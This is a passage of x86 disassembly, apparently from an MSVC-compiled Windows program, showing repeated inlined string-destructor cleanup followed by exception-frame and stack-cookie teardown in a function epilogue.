jb 0x402771
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402967
push ecx
push edx
call fcn.00402d5a
add esp, 8
mov ecx, dword [ebp - 0x1354]
mov dword [ebp - 0x1340], 0
mov dword [ebp - 0x133c], 0xf
mov byte [ebp - 0x1350], 0
cmp ecx, 0xf
jbe 0x4027d0
mov edx, dword [ebp - 0x1368]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4027c6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402967
push ecx
push edx
call fcn.00402d5a
add esp, 8
mov ecx, dword [ebp - 0x136c]
mov dword [ebp - 0x1358], 0
mov dword [ebp - 0x1354], 0xf
mov byte [ebp - 0x1368], 0
cmp ecx, 0xf
jbe 0x402825
mov edx, dword [ebp - 0x1380]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40281b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402967
push ecx
push edx
call fcn.00402d5a
add esp, 8
mov ecx, dword [ebp - 0x1384]
mov dword [ebp - 0x1370], 0
mov dword [ebp - 0x136c], 0xf
mov byte [ebp - 0x1380], 0
cmp ecx, 0xf
jbe 0x40287a
mov edx, dword [ebp - 0x1398]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402870
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402967
push ecx
push edx
call fcn.00402d5a
add esp, 8
mov ecx, dword [ebp - 0x139c]
mov dword [ebp - 0x1388], 0
mov dword [ebp - 0x1384], 0xf
mov byte [ebp - 0x1398], 0
cmp ecx, 0xf
jbe 0x4028cf
mov edx, dword [ebp - 0x13b0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4028c5
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402967
push ecx
push edx
call fcn.00402d5a
add esp, 8
mov ecx, dword [ebp - 0x13b4]
mov dword [ebp - 0x13a0], 0
mov dword [ebp - 0x139c], 0xf
mov byte [ebp - 0x13b0], 0
cmp ecx, 0xf
jbe 0x402920
mov edx, dword [ebp - 0x13c8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x402916
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x402967
push ecx
push edx
call fcn.00402d5a
add esp, 8
mov ecx, dword [ebp - 0x12c4]
mov dword [ebp - 0x13b8], 0
mov dword [ebp - 0x13b4], 0xf
mov byte [ebp - 0x13c8], 0
cmp ecx, 0xf
jbe 0x402977
mov edx, dword [ebp - 0x12d8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x40296d
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x40296d
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
push ecx
push edx
call fcn.00402d5a
add esp, 8
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00402d1c
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret